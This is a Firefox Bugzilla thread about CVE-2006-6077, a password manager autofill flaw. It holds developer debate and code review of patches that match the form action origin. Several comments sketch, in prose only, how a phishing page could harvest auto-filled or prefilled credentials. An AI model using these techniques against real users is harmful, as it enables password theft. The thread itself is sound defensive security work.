Don't get me wrong: we need to make a fix to form auto-fill, not just for passwd type inputs, to protect against cases like the Myspace one, since such cases will recur.  But we should not turn off autofill across the board in 2.0.0.1 to appear to be safe, when the social engineering workarounds leave the hole unfixed.  We should take the time needed to do a proper fix and ship it in 2.0.0.2.

/be
(In reply to comment #234)
> (In reply to comment #233)
> > (In reply to comment #228)
> > > (In reply to comment #226)
> > > One of the examples mentioned already is www.domain.com/domain2.com/  This is a
> > > very common path scheme.
> 
> 
> Don't get me wrong: we need to make a fix to form auto-fill, not just for
> passwd type inputs, to protect against cases like the Myspace one, since such
> cases will recur.  But we should not turn off autofill across the board in
> 2.0.0.1 to appear to be safe, when the social engineering workarounds leave the
> hole unfixed.  We should take the time needed to do a proper fix and ship it in
> 2.0.0.2.
> 
> /be
> 
The more interaction needed by the user, the less likely these attacks are going to succeed, in my opinion. Disabling autofill for one version, then properly fixing it in the next, will probably reduce the amount of people affected by cases in the meantime. But keeping this patch as all the protection is not sufficient for the long-term. Disabling of auto-fill is more of a mitigation, yes, and I also think there should be a warning if auto-filling is enabled by the user.

Just some ideas.
Of course extra steps will mitigate; they'll also break near-daily interactions on benign sites for tons of users.

This is an apples to oranges trade off, but the "if it saves just one life^H^H^H^H user account from being lost" argument does not work here any better than in the real world, which is full of trade-offs.  We can't stop social engineering attacks that work around the pref defaulting to false, so the likely outcome in my view is that we simply annoy and alienate all the users who expect autofill to work as it has since Firefox 1.0.  And if there's not another recurrence of the Myspace prob or a close cousin, we've done this for nothing.

Users ignore warnings.  And one-time warning next week won't help in three or four weeks when there's another Myspace problem.

We need a real fix.  Since there are other important fixes to get out in 2.0.0.1, we should put our energy into the right fix for the next patch release.

/be
In case I'm not the only person confused here, we seem to be picking up the thread from where we left Comment #176.  The "step 1" patch still allows weird things to happen when the password field is invisible.
I backed out the patch again since that's what we decided to do.
I have a proposal which should, if seriously considered, be acceptable to everyone, regardless of their thoughts on how to secure the Password Manager.

This includes those who wants URL checking, those who wants User Prompting before any fields are filled in, those who say that the proposed change secure enough without "breaking" sites, those who say that nothing is totally secure, those who are constantly trying to show examples that conflict with proposals .......... in short, everyone.

Many of these groups of people overlap to some degree and there are minor variations on the proposals, but the ones I've just cited pretty much cover the main points being made here.

My proposal this this - Drop the Password Manager from Firefox.

This is not a joke or a statement made for some sort of shock value.

This is a serious proposal.

If you read each and every comment here, you will see one group (and I'm in that group) which wants very strict checking so that passwords are only provided for the page for which they were saved. Another group - which overlaps the first group - also wants the user prompted before any fields are filled in.

Another group maintains that there are so many insecure, poorly designed and implemented sites that you can never really lock down the password manager.

Another - which overlaps the previous group - also continues to show examples where a proposed strict scheme would not work.

Other groups - which overlap all the other groups - fight over small details.

There are, however, two underlying threads of thought - either the proposed fix is not strict enough or no matter how much you check, some bad site, bad person, etc. will get through the checks.

It seems to me the conclusion to be drawn, by a careful reading and consideration of all the comments and arguments, is that having a feature in Firefox which fills in any fields is inherently insecure and cannot be made secure in light of current attack methods or attack methods still to be dreamed up or created by new future "technology" on the web.

So - scrap the Password Manger.

Compose and release a statement that Firefox has dropped its password manager because it can never be made secure enough to meet only standard that should apply - to never give out a password to the wrong page.

Given all the information provided in these comments, including those I have made, it seems clear that a Password Manager can never be made secure enough.

Let's get this one thing clear - 

Passwords are very important and must be safeguarded against any unauthorized access. Giving a password to the wrong page even once is unacceptable.

Thus, given the current technology, and this is clear by a reading of all of the comments here, a secure Password Manager is not possible and Firefox should take the lead and clearly declare this and remove the Password Manager from the product.

I submit a rough draft of such a statement for your consideration:

--------------
"Today, the Firefox development community is announcing the removal of the Password Manager feature from the Firefox Internet Browser.

Recent security failures inherit in the design of the Password Manager have prompted a total reassessment of this feature.

After much debate about how the current problem could be resolved, it has become clear that an Internet Browser Password Manager can never be made secure enough to meet the one overriding requirement - a Password Manager must never provide a stored password to an unauthorized web site or page, thus compromising the security of the password. 

Given the state of the web, the array of poorly designed and implemented security features on many web sites, the ongoing attempts by a individuals to compromise security, either for amusement or for criminal purposes, and the state of the technology available to combat these security attacks, no Password Manager Feature can ever be secure enough to trust with a user's passwords.

While it is normal for software development teams to release announcements of new and improved features, this announcement is that of the removal of a software feature from a product.

The Firefox development community feels that it should be in the vanguard of browser security and, as such, it have no alternative but to remove the Password Manager from the latest release and all future releases of Firefox.

We urge all users of Firefox to disable the Password Manager immediately or to download and install the latest version of Firefox."
----------

That is, as I said, a rough draft but it includes everything I personally think should be communicated.

I urge everyone to be honest with themselves and to review what has been said in all of the comments posted about this issue.

I believe that an honest reassessment of the comments made here can lead only to the realization that a Password Manager feature can never be made secure.

I understand all of the arguments for a Password Manager feature - I have used the feature since I first started using the Netscape release which included one. It is, without argument, a great convenience, but I cannot argue for a convenience which is insecure.

I have stopped using the Password Manager and am doing copy and paste operations to handle sign in pages.

I use very strong passwords and there is no way I can remember them - here's an example of a password generated by a little program I wrote to generate random, strong passwords - 9jt~hwZoHbHfxjylnI04

I generate a different password for every site I use and, as you can clearly see, these are not passwords which can be memorized - at least not by me.

I'm using another method to "remember" the passwords. If anyone wants to know it, email me directly and I'll explain it for you.

I am seriously proposing that the Password Manager be removed from Firefox.

Go back and read all the comments in as unbiased a way as possible, and you will see that the real conclusion is that a Password Manger can never be made security enough to provide real protection to the user's passwords.

Bob Novell
Password manager is a critical anti-phishing feature.  It also allows users to use harder-to-guess and more varied passwords than they can memorize.  Removing it is not the solution to the "some sites brokenly allow password fields or scripts in user content" problem.

In the long term, it might make sense to encourage sites to move from password forms to http auth.  But we have to fix a few bugs in our http auth UI 
(bug 223636, bug 227632, and bug 260839) before we can do that, and we should also make it easy for remembered passwords to move from forms to http auth.
Comment 239 reminds me of G.K. Chesterton's remark about "the modern and morbid habit of always sacrificing the normal to the abnormal."  No way is the value of the PM negated for me or millions of others by some Myspace error.  No way.  If you live in fear, set the pref to false.  But such pessimism is no way to design a user interface for real people, and if implemented, it would *degrade* password security in the real world as Jesse argues in comment 240.

The way toward a better future:

1.  Fix this bug properly, without crippling the PM or satchel, so as to avoid being vulnerable to future mistakes of the kind seen with Myspace.

2.  Seriously investigate putting pwdhash into the product, so people don't have to make up a small set of passwords and reuse them across too many sites.  The problem for pwdhash, IIRC, was how to avoid picking characters outside of the too-restrictive set of passwd input chars some wrong-headed sites require (which only make those sites easier to brute-force -- they should be evangelized).

Do we have a pwdhash bug on file?

/be
(In reply to comment #239)
> I have stopped using the Password Manager and am doing copy and paste
> operations to handle sign in pages.
unless you're immediately copying something else into the clipboard to remove the password operations, this is probably even less secure than using the PM.
Yeah, it's good to avoid leaving passwords in your clipboard.  See bug 363132 for one reason why.
Please ensure patch wont break at https://www.orkut.com/
(In reply to comment #241)
> The way toward a better future:
> 2.  Seriously investigate putting pwdhash into the product, so people don't

the real solution

> Do we have a pwdhash bug on file?

done Bug# 363372
Has this bug been corrected in Firefox v.2.0.0.1 and any idea when I can turn my Password Manager back on?

TIA for all your work.
(In reply to comment #246)
> Has this bug been corrected in Firefox v.2.0.0.1 and any idea when I can turn
> my Password Manager back on?

This bug is still alive in all versions.
(In reply to comment #247)
> (In reply to comment #246)
> > Has this bug been corrected in Firefox v.2.0.0.1 and any idea when I can turn
> > my Password Manager back on?
> 
> This bug is still alive in all versions.
> 

As far as I can see it has been fixed in CVS you wont see the change until 2.0.0.2 is released. Someone correct me if I am wrong.
mconnor:  Any update here?  Did you get anywhere with the other approaches being discussed before?
There is a pref in FF 2.0.0.1 that you can use to prevent automatic replay, make the following change:
  pref("signon.prefillForms",                 false);

The bug is still open because we didn't think that was appropriate for most people and we're working on a different fix for 2.0.0.2
(In reply to comment #250)
> The bug is still open because we didn't think that was appropriate for most
> people and we're working on a different fix for 2.0.0.2

Jesse also pointed out several times that this preference doesn't work in cases where the username field is visible but the password field is not.

Alias: CVE-2006-6077
Attached patch 2.0 branch patch (obsolete) — Splinter Review
this seems fairly solid, will attach a 1.5-tested patch in the morning
Attachment #247249 - Attachment is obsolete: true
Attachment #251891 - Flags: review?(mano)
Hi Mike, what about the other two instances of passField->SetValue ??
The one in FillPassword should only get called if we attach the autocomplete listener, which should be gated on the actionHost.  I need to fix the patch, I think I was working in the wrong tree last night, will post an updated patch shortly.

The other is a tough call.  If the content matches your saved username, they're somehow serving dynamic content (either server-side generated content or JS), so its a zero to infinitesimally small chance that any protection this patch will defeat that attacker...
Comment on attachment 251891 [details] [diff] [review]
2.0 branch patch

new patch coming shortly
Attachment #251891 - Attachment is obsolete: true
Attachment #251891 - Flags: review?(mano)
Attached patch much better (obsolete) — Splinter Review
ok, so I didn't make this as robust as I could have, this is much better.
(In reply to comment #254)
> The other is a tough call.

Time to shift from the big picture to the details.

If I'm surfing a website, personally, I am not worried about someone stealing thousands of users' passwords.  I am only worried about my password.  So long as a person only needs to know my username to steal my password, this bug isn't fixed.
But if they have the ability to inject your username, they almost certainly have the ability to inject unfiltered content including script, no?
Status: NEW → ASSIGNED
Attached patch with nits from Mano over IRC (obsolete) — Splinter Review
Should be pretty solid and not leak in failure cases, and catches a couple null checks (unlikely unless you're really trying, but those are bad too)
Attachment #251943 - Attachment is obsolete: true
Attachment #252012 - Flags: review?(mano)
(In reply to comment #258)
> But if they have the ability to inject your username, they almost certainly
> have the ability to inject unfiltered content including script, no?

I don't follow.  How does username-pre-filling give someone magical script injecting powers?
No scripts involved.
Comment on attachment 252012 [details] [diff] [review]
with nits from Mano over IRC

>Index: toolkit/components/passwordmgr/base/nsPasswordManager.cpp
>===================================================================
> static nsPasswordManager* sPasswordManager;
> 
> class nsPasswordManager::SignonDataEntry
> {
> public:

>+  nsString actionHost;

> class nsPasswordManager::SignonHashEntry
...
>+  nsString  mActionHost;

Use nsCString, then you can get rid of the string conversions.

>+              // if we don't have a stored value for the action host, add it now
>+              if (entry->actionHost.IsEmpty()) {
...
>+                }
>+                else
>+                  entry->actionHost.AssignLiteral("noAction");


The noAction case here is wrong AFAICT. GetActionURL would return the document URL if the form didn't have an action url set. Also, you can use AssignLiteral here.

>+        if (actionURI) {
>+          if (NS_FAILED(actionURI->GetHost(formActionHost))) {
>+            delete entry;
>+            return NS_OK;
>+          }
>+          
>+          entry->actionHost.Assign(NS_ConvertUTF8toUTF16(formActionHost));
>+        }
>+        else
>+          entry->actionHost.Assign(NS_LITERAL_STRING("noAction"));

ditto.

> 
>+        // if we don't match actionHost, don't count this as a match
>+        if (!formActionHost.IsEmpty() &&
>+            !e->actionHost.IsEmpty() &&
>+            !e->actionHost.Equals(NS_ConvertUTF8toUTF16(formActionHost)))

The Equals check renders the |!e->actionHost.IsEmpty()| check unnecessary.

>+    nsCOMPtr<nsIFile> oldSignonFile;
>+    mSignonFile->GetParent(getter_AddRefs(oldSignonFile));
>+    oldSignonFile->AppendNative(signonFile);
>+
>+    if (NS_SUCCEEDED(ReadPasswords(oldSignonFile))) {
>+      sPasswordsLoaded = PR_TRUE;
>+      oldSignonFile->Remove(PR_FALSE);

The file should be removed only once we save the new file.
Attachment #252012 - Flags: review?(mano) → review-
(In reply to comment #261)
> Created an attachment (id=252016) [details]
> How to steal Mike's password after patch
> 
> No scripts involved.

If you know what my username is, and can persuade me to click a link customized just for me, yes, that's possible.  At that point, of course, the gap between us and the perfect social hack is trivial.  Think Yahoo's re-auth page:

Welcome back Robert!

To continue, please re-enter your password.  User Name: mozillaorg2@info-svc.com
                                             Password:  [______________________]

I can change it for consistency, but I'm not going to pretend that its going to make a major difference to users' willingness to submit the password.
Let's see -- this security problem was reported on November 11, 2006 and here it is January 19, 2007 without a fix.

Is this the way "open code" works? 

- Talk an issue into the ground, fight the only solid and realistic approach forever (that approach being full path matching), and then write code that is tested and tested and tested again and still people find problems with it.

Is this really the way "open code" is going to revolutionize software development?

To harken back to Bill Dana's character, Jose Jimenez, "Oh, I hope not!"

Seriously, if employees of mine took this long to decide upon an approach and then implementing it, they would be "on the carpet" listening to a succinct explanation of why software development does not work that way.

As to full path matching - it is still on the only valid approach to fixing this bug.

If it, as many have complained, "breaks" sites then it is the responsibility of the site to "fix it" if it truely breaks a site.

Those complaining that it will "break" sites generally are usually referring to the fact that some sites may have more than one sign-in page and thus the user would have to enter their id and password on more than one page to have the PM save it.

Heaven forbid that the user would have to take a couple of more steps to use a fully secured browser.

As I have always said - full path matching is the ONLY way to fully secure the password manager.

As to testing the fixes - has anyone every heard of a testing script?

A testing script is an indepth script which lays out all of the testing needed to walk a change though all of the various data cases to insure that all code is tested and that the modification effects the desired change without altering the way other code works and without creating new problems.

The development of a testing script begins as the code is initially written by making notes of what data goes through what parts of the code.

With that data you then produce a testing script for each and every piece of data and section of code.

Haphazard testing of changes does not cut it.

There has to be some structure to the testing or there will be pieces of code and conditions which are not tested and which will jump up and bite you later.

Again - fix this security bug the only way it can be correctly and fully fixed - do full path matching.

Of course you don't include any form or search data in the match, just the path to the page.

Bob Novell
Bob, if you have a real-world example of how an attacker can exploit the attached patch that doesn't invovle script, please provide it, or stop posting long rants about why your crippling approach is better.  A number of people have complained about your long and ranty advocacy posts, and repeated violations of Bugzilla etiquette, and if it continues your account will be disabled in line with posted policy.

As for patch, test, revise patch, test again, that's how software tends to get developed, especially in the browser world because there are so many variations of web content to account for.  The difference is that you can actually see it happening in public.
(In reply to comment #263)
> I can change it for consistency, but I'm not going to pretend that its going to
> make a major difference to users' willingness to submit the password.

That's because we still haven't addressed the underlying problem.  FireFox is designed to blindly send passwords to any server specified in the action field.  The proposed patch will only prevent that behavior when the PM is invoked, leaving all "unsaved" passwords vulnerable to the simplest of phishing attempts.

For the record, my testcase is a modified version of the original attack.  I do not understand the reluctance to fully patch that avenue of attack.
(In reply to comment #265)
> and if it continues your account will be disabled in line with posted policy.

Mike, I see no personal or unprofessional comments being made.  Bob has several valid points, and if you would consider them you would see he is proposing a solution to the most recent testcase.  If Firefox used the full form path as a check on the PM then you wouldn't have to patch out the case where the username is prefilled on a malicious page with a mismatched action host.
(In reply to comment #263)
> (In reply to comment #261)
> > Created an attachment (id=252016) [details] [details]
> > How to steal Mike's password after patch
> > 
> > No scripts involved.
> 
> If you know what my username is, and can persuade me to click a link customized
> just for me, yes, that's possible.  At that point, of course, the gap between
> us and the perfect social hack is trivial.  Think Yahoo's re-auth page:
> 
> Welcome back Robert!
> 
> To continue, please re-enter your password.  User Name:
> mozillaorg2@info-svc.com
>                                              Password: 
> [______________________]
> 
> I can change it for consistency, but I'm not going to pretend that its going to
> make a major difference to users' willingness to submit the password.
> 
I believe that if you're going to keep the patch you are proposing, you should go the extra step and stop the screen-name from being prefilled as well. Though I do believe that a full-path check is the easiest solution to this, you may know something I don't.
(In reply to comment #267)
> If Firefox used the full form path as a
> check on the PM then you wouldn't have to patch out the case where the username
> is prefilled on a malicious page with a mismatched action host.
> 

But that doesn't help a user who enters his password manually, since the username/password info is still sent to the malicious host.  It strikes me that guarding against this most recent testcase is actually the responsibility of the anti-phishing feature.  (That is, it's most effectively handled by a blacklisting approach instead of changing features in the browser itself.)
The blacklisting approach didn't work for this attack ;)  If it weren't for MySpace changing their website, users would still be losing passwords there.
(In reply to comment #266)
> That's because we still haven't addressed the underlying problem.  FireFox is
> designed to blindly send passwords to any server specified in the action field.
>  The proposed patch will only prevent that behavior when the PM is invoked,
> leaving all "unsaved" passwords vulnerable to the simplest of phishing
> attempts.

It (and every other browser) is designed to submit to the server specified by the action because that's the way the HTML spec is written. Are you suggesting that it should be made impossible to use any form which submits to different host? There's nothing inherently wrong with a form which posts to a different host; breaking all such forms isn't a viable option.
(In reply to comment #269)
> (In reply to comment #267)
> > If Firefox used the full form path as a
> > check on the PM then you wouldn't have to patch out the case where the username
> > is prefilled on a malicious page with a mismatched action host.
> > 
> 
> But that doesn't help a user who enters his password manually, since the
> username/password info is still sent to the malicious host.  It strikes me that
> guarding against this most recent testcase is actually the responsibility of
> the anti-phishing feature.  (That is, it's most effectively handled by a
> blacklisting approach instead of changing features in the browser itself.)
> 
The insecurity of one feature shouldn't have to be fixed by some other feature. If there is any doubt that one feature is not secure enough by itself, we should fix it.

Blacklisting is good and all, but I'm sure there are thousands upon thousands of sites that are going to either: A) Trick users into putting information in, that they shouldn't, before the blacklist can be updated. B) Will never be caught in the first place.

It shouldn't matter if they enter it manually, phishing is phishing, if they can trick you into putting in the password by auto-filling your username, I'm sure that the less computer-savvy will not notice it's a fake page.
(In reply to comment #271)
> Are you suggesting that it should be made impossible to use any form which submits to different host?

Only password fields, sir.

(In reply to comment #259)
> Created an attachment (id=252012) [details]
> with nits from Mano over IRC
> 
> Should be pretty solid and not leak in failure cases, and catches a couple null
> checks (unlikely unless you're really trying, but those are bad too)

Sorry to pile on, but there is also still the matter of the Same Origin Rule.  See Comment #75.

Unless I overlooked a check on port+protocol, the proposed patch would allow cross-contamination with encrypted login servers.
We went back and forth on that, and the additional filtering didn't seem to add much in terms of depth of security, since other than hacked servers, I can't imagine why/how this would be useful to attackers.  If I can run an Apache instance on foo.com:81, that site's security is blown pretty badly already, and filtering on our end doesn't seem to add much...
(In reply to comment #81)
> We can restrict stuff to method="POST" too if that would help with the "GET
> requests are logged and logs are shared" issue.

Was this idea implemented?
Hi Steve, so far none of the ideas have been implemented.
Are we still planning for this to be done by 2.0.0.2? Doesn't seem like anyone has come to a final resolution for this.
Hi, From the page about the release schedule of 2.0.0.2 it seems the release date was bushed back because they plan on a new code freeze. Maybe it will allow, with more time, the resolution of this bug into the 2.0.0.2 release.

I don't know if I can really express my opinion here since I'm new to the discussion, but I think the most secure way to resolve this 'leak' is full path checking, not on the page itself, but on the action field (at the time the form is submit, to avoid JS action field changes) because that's what matters, being where the data is sent. Plus, sites generally have a login page/script, that can be called from multiple pages and/or redirect to different pages.

But, that would mean checking at send time, not at page loading time, so the user should have an indication that credentials are stored in the fields, but will be filled when he sends the page (for the posting action to perform its JS operation if there is one), if the action path matches the one stored. (Obviously the visual indication needs to check the path at page load time) Then, if it doesn't match, an alert can be displayed, and the send action stopped.
Of course if there's none, the browser would ask if the user want to save them, and displaying the full path for the action would be good.

This is only a rough idea, and I suppose that's not the way it will be implemented since it would mean changes to the user interface and more deeply the way passwords are checked / saved, but in my hasty opinion that's what should give a maximum security.

However, knowing that it probably won't be such a complicated solution, I still think at least full path matching on the action field would be good. If I understand the way the patch is now correctly, it only checks for the action host. Basically it would be the same structure, but with the complete action field instead of just the host.

Just my .02 anyway...
Attachment #252012 - Attachment is obsolete: true
Attachment #253508 - Flags: superreview?(dveditz)
Attachment #253508 - Flags: review?(mano)
Comment on attachment 253508 [details] [diff] [review]
use prePath to match same-origin checks

reviewed over IRC. To summarize:

>Index: toolkit/components/passwordmgr/base/nsPasswordManager.cpp
>===================================================================

>+  enum { STATE_REJECT, STATE_REALM, STATE_USERFIELD, 
>+         STATE_USERVALUE, STATE_PASSFIELD, STATE_PASSVALUE, 
>+         STATE_ACTION_HOST } state = STATE_REJECT;
> 

make that STATE_ACTION_ORIGIN.

> void
> nsPasswordManager::LoadPasswords()
> {
>   nsXPIDLCString signonFile;
>-  mPrefBranch->GetCharPref("SignonFileName", getter_Copies(signonFile));
>+  mPrefBranch->GetCharPref("SignonFileName2", getter_Copies(signonFile));

> 
>-  if (NS_SUCCEEDED(ReadPasswords(mSignonFile)))
>-    sPasswordsLoaded = PR_TRUE;
>+  PRBool signonExists = PR_FALSE;
>+  mSignonFile->Exists(&signonExists);
>+  if (signonExists) {
>+    if (NS_SUCCEEDED(ReadPasswords(mSignonFile)))
>+      sPasswordsLoaded = PR_TRUE;
>+  } else {
>+    // no current signons file, look for an older version
>+    mPrefBranch->GetCharPref("SignonFileName", getter_Copies(signonFile));
>+    if (signonFile.IsEmpty())

AFAICT signonFile is not empty if GetCharPref fails, it's still set to the new filename. You can simply check the return value.

>+        // if we don't match, don't prefill
>+        if (!formActionOrigin.IsEmpty() &&
>+            !firstMatch->actionOrigin.Equals(formActionOrigin))

The later check is sufficient, I think.

>Index: toolkit/components/passwordmgr/base/nsPasswordManager.h
>===================================================================
>+#include "nsIForm.h"

forward-declare it instead, the implementation file includes it.
Attachment #253508 - Flags: review?(mano) → review-
Attached patch v2 of previous patch (obsolete) — Splinter Review
Attachment #253530 - Flags: review?(mano)
Comment on attachment 253530 [details] [diff] [review]
v2 of previous patch

r=mano with trailing spaces removed.
Attachment #253530 - Flags: review?(mano) → review+
Attached patch Mano is a mean mean man (obsolete) — Splinter Review
Attachment #253508 - Attachment is obsolete: true
Attachment #253530 - Attachment is obsolete: true
Attachment #253542 - Flags: superreview?(dveditz)
Attachment #253508 - Flags: superreview?(dveditz)
Hi Mike, it is looking better.  I have more fixes.

You have separated the two tests
 if (NS_FAILED(GetActionURL(form, formActionOrigin)))
and
 if (!e->actionOrigin.Equals(formActionOrigin))
by 100 lines of code.  It seems to me that these tests must be located together to prevent insecure behavior.  Presuming e->actionOrigin can be tested at any point after e = e->next, I propose:

    if (NS_FAILED(GetActionURL(form, formActionOrigin))) return NS_OK;
    for (SignonDataEntry* e = hashEnt->head; e; e = e->next) {
      if (!e->actionOrigin.Equals(formActionOrigin)) continue;
      . . .
    }

This has additional benefits.  It will increase execution speed by skipping unnecessary the insecure statements, and it will eliminate the need to test firstMatch->actionOrigin because its value will not be assigned until after the action attribute is known to be valid.

I will follow up as soon as I find the definitions of nsIForm->GetActionURL() and nsIURI->GetPrePath()
Mike, unless I'm looking at the wrong file...

http://lxr.mozilla.org/mozilla/source/netwerk/base/src/nsSimpleURI.cpp#203

... GetPrePath() is the wrong return value for nsPasswordManager::GetActionURL().
(In reply to comment #286)
> Mike, unless I'm looking at the wrong file...

You are looking at the wrong file. nsSimpleURIs are only used for data: URIs and other "simple" URIs, http[s]/ftp URIs are always nsStandardURLs (http://lxr.mozilla.org/seamonkey/source/netwerk/base/src/nsStandardURL.cpp#960).

I'm still confused.  I had looked at nsStandardURL.h and the return value seemed to be only the part before the username.
I don't know what led you to believe that, but you can read about the nsIURI interface (which describes the value of prePath) at http://lxr.mozilla.org/seamonkey/source/netwerk/base/public/nsIURI.idl .
310         len = mAuthority.mPos + mAuthority.mLen;

I just had to read it a fourth time ;)  I would have used mPath.mPos for speed and clarity, but I don't know the parser well enough to know if they are identical.
I'm still trying to pin down some problems I'm seeing in here.  In the meantime, I want to reiterate my objection to the use of GetPrePath() for the same reasons that are clearly documented by bryner at nsPasswordManager::GetPasswordRealm.
Okay I have my finger on the third problem.  The concerns I raised in Comment #253 haven't been addressed yet.  As such, this patch remains fundamentally incomplete.
The remaining problems are pre-existing, and there are a lot of them.  I've opened a separate bug to deal with that.
Depends on: 368959
Robert, is there an additional testcase that the latest patch doesn't address?  The testcase you later added passes here.

Basically, we don't count a match if it fails the origin matching, so unless there's a valid match on something else we never even attach the listener, and if that happens, we filter the search results the same way.  There is no need to independently check before each setValue call, since we skip non-matching entries.

As for prePath, I can change that to do a bunch of string appending, or I can just encrypt that data.  I think the latter approach might be faster/most restrictive, but this isn't exactly a major performance hit either way.
(In reply to comment #294)
> we filter the search results the same way.  There is no need
> to independently check before each setValue call, since we skip non-matching
> entries.

Huh?  Where's all that happening?

> As for prePath, I can change that to do a bunch of string appending, or I can
> just encrypt that data.

I was thinking just reuse GetPasswordRealm.
Attached patch use GetPasswordRealm (obsolete) — Splinter Review
Passes all testcases so far.
Attachment #253542 - Attachment is obsolete: true
Attachment #253757 - Flags: superreview?(dveditz)
Attachment #253542 - Flags: superreview?(dveditz)
I can't speak for everyone, but I think at least Daniel and I deserve a detailed explanation as to why all instances of passField->SetValue() aren't protected by this patch.  I've read the patch and the source enough times to make my concerns valid.
Comment on attachment 253757 [details] [diff] [review]
use GetPasswordRealm

I don't see any pref files here -- we need a default value for the new signon.SignonFileName2 pref or it looks like things go wonky down in ::LoadPasswords. Looks like the old pref is duplicated in all the app-specific pref files rather than in the shared all.js so you'll need one for firefox, thunderbird, sunbird, and minimo.

>               if (!buffer.Equals(passValue)) {
>                 if (NS_FAILED(EncryptDataUCS2(passValue, entry->passValue)))
>                   return NS_OK;
> 
>                 WritePasswords(mSignonFile);
>               }
> 
>+              // if we don't have a stored value for the action host, add it now
>+              // fallure here is non-fatal
>+              if (entry->actionOrigin.IsEmpty()) {
>+                // save the hostname of the action URL

What if we *do* already have a saved action host, but it's changed? Now the user will never again have this site's passwords replayed for her because it will always fail to match the action host (unless she goes through the Options dialog and manually deletes the old one and then resaves the password).

Or what if two different sections of a site have logins that submit to different subdomains? The user could never get both to work. The failures could be quite mysterious if they went back and forth, sometimes it'd work and sometimes not.

Should the actionhost be part of the lookup key?

>+                WritePasswords(mSignonFile);

And here we write out the passwords twice in a row. Might be nice to combine it with the write after storing a new password. (set a flag and write just after both). Nit, I guess I can live either way.

What about the 2 and 3 password case? You're not updating the actionHost there either -- but I wonder how often that action might go to a different place than a regular login? 

If you consider actionHost as an additional key as suggested above to solve the swapping problem then you could run into the case where you're updating the wrong one. I guess that'd be an argument for leaving things as you have it, and see how bad the lossage is in real life. Will make the password manager fairly useless on any such site, but I don't know if there are any in actual existence.

>+      if (NS_FAILED(GetActionURL(form, formActionOrigin)))

This new function shouldn't be called GetActionURL, that's confusing given the nsIForm method of the same name that really does return a URL. GetActionHost maybe, or even GetActionRealm to match GetPasswordRealm.

nit: the file has a comment section documenting the layout of the file
"Format of the single signon file:"
Please add info about the new format.

>+  mPrefBranch->GetCharPref("SignonFileName2", getter_Copies(signonFile));
>   NS_ASSERTION(!signonFile.IsEmpty(), "Fallback for signon filename not present");
> 
>   NS_GetSpecialDirectory(NS_APP_USER_PROFILE_50_DIR, getter_AddRefs(mSignonFile));
>   if (!mSignonFile)
>     return;
> 
>   mSignonFile->AppendNative(signonFile);

Not having the pref leaves us pretty messed up, pointing at the directory which is going to exist. Maybe this code should have a hard-coded default, or change the bail-out check above to 
  "if (!mSignonFile || signonFile.IsEmpty())"

>+      // if we don't match actionOrigin, don't count this as a match
>+      if (!e->actionOrigin.Equals(formActionOrigin))
>+        continue;

If we've just upgraded the saved actionOrigin will be empty, and nothing will ever be filled in. I think you need a "&& !IsEmpty()" check here

>+        // if we don't match, don't prefill
>+        if (!firstMatch->actionOrigin.Equals(formActionOrigin))
>+           return NS_OK;

here too

close but I'd like to see a new revision.
Attachment #253757 - Flags: superreview?(dveditz) → superreview-
(In reply to comment #298)
> What if we *do* already have a saved action host, but it's changed? Now the
> user will never again have this site's passwords replayed for her because it
> will always fail to match the action host (unless she goes through the Options
> dialog and manually deletes the old one and then resaves the password).

We have all been instructed the PM isn't allowed to check the page path or revise any part of the UI.  That leaves us with checking the action host and never informing the user.  Is there an alternative we didn't think of?
Even within those constraints the patch is probably the worst choice.

The simplest alternative is to just save the new action form. Assuming we change nothing else the only way you'd get in this state is if the user re-entered their data into a blank form (we didn't prefill because of the action mismatch). The user is probably already miffed we "forgot" their password, but at least if we correct the action it'll work next time.

That'll work fine unless the same site has different pages with the same userID but different action hosts. We can't fix that without much larger changes such as using the host+actionHost as the key, and then that still won't help if a site ever changes their action host (you still come up blank) it only helps on sites using multiple action hosts at the same time. I don't think we should do that until we know it's a problem we need to solve.
Right.  Ah, you were referring to handling the new credentials.  Even then, we are ignoring the elephant in the room, which is that FF doesn't inform the user where the password is being sent, which is literally anywhere.

And I agree there is no benefit to changing the DataEntry key as long as the patch checks the action attribute every time passwords are retrieved (which it does not).
(In reply to comment #298)

> What if we *do* already have a saved action host, but it's changed? Now the
> user will never again have this site's passwords replayed for her because it
> will always fail to match the action host (unless she goes through the Options
> dialog and manually deletes the old one and then resaves the password).

I would this this situation is indistinguishable from the problem this bug is supposed to fix... If the form submit URL changes from login.mybank.com to authenticate.mybank.com, how do we know that's safe? [While also knowing that dolske.hosting.com changing to dveditz.hosting.com is unsafe].

Half-baked idea: We could update the stored action host if a submission to the old host results in an HTTP redirect. But the process to support this on the host is ugly (you must still serve the old form exactly once to each user), and getting sites to do this would be spotty at best.

(In reply to comment #302)
> Even then, we
> are ignoring the elephant in the room, which is that FF doesn't inform the
> user where the password is being sent, which is literally anywhere.

Hasn't this point already been addressed? The vast majority of users don't understand this stuff, and we can't rely on them to protect themselves. Just look at how widespread phishing is, and the well-known URL bar is already displaying the phishing site's name.
Yes, there have been plenty of studies that show that the vast majority of users do not understand domains enough to make meaningful security decisions about them. A warning about the target domain on every submit to a different domain would be yet another incomprehensible warning that users would learn to click through.
(In reply to comment #297)
> I can't speak for everyone, but I think at least Daniel and I deserve a
> detailed explanation as to why all instances of passField->SetValue() aren't
> protected by this patch.  I've read the patch and the source enough times to
> make my concerns valid.

I added a check in FillPassword, but its requires a pretty weird edgecase to get there.  Basically, here's the prerequisite to hit that in a bad case:

Have saved user/password A pointing to good.com
Have saved user/password B pointing to evil.com
Get to the login form pointing to evil.com, which will attach the listener to the input.
Type the username for pair A into the form and blur the field.

To me, that's an edgecase, and already looks like a highly successful social hack to me (especailly since you already used the malicious form with a different user/pass, but fair is fair.

We really need testcases in addition to code inspection here, anyone care to take the time to create a test suite?
(In reply to comment #305)
> I added a check in FillPassword, but its requires a pretty weird edgecase to
> get there.

Your edgecase "pointing to evil.com" is irrelevant because FillPassword doesn't check which website the form is pointing to.
Attachment #253757 - Attachment is obsolete: true
Attachment #253840 - Flags: superreview?(dveditz)
(In reply to comment #303)
> I would this this situation is indistinguishable from the problem this bug is
> supposed to fix... If the form submit URL changes from login.mybank.com to
> authenticate.mybank.com, how do we know that's safe?

If it's a phish then the user has already submitted the credentials to the bad guys without our help (it's a different action URL so we didn't prefill). If it's legit and we don't save the new action URL then PwMgr is dead on this site for that user. If it's not legit we haven't made anything worse.
FillPassword looks much better now.  I still have several concerns about FillDocument, including Comment #285 about this patch.
(In reply to comment #304)
> yet another incomprehensible warning

I didn't say warning ;)  Several alternatives have been presented here.
(In reply to comment #306)
> (In reply to comment #305)
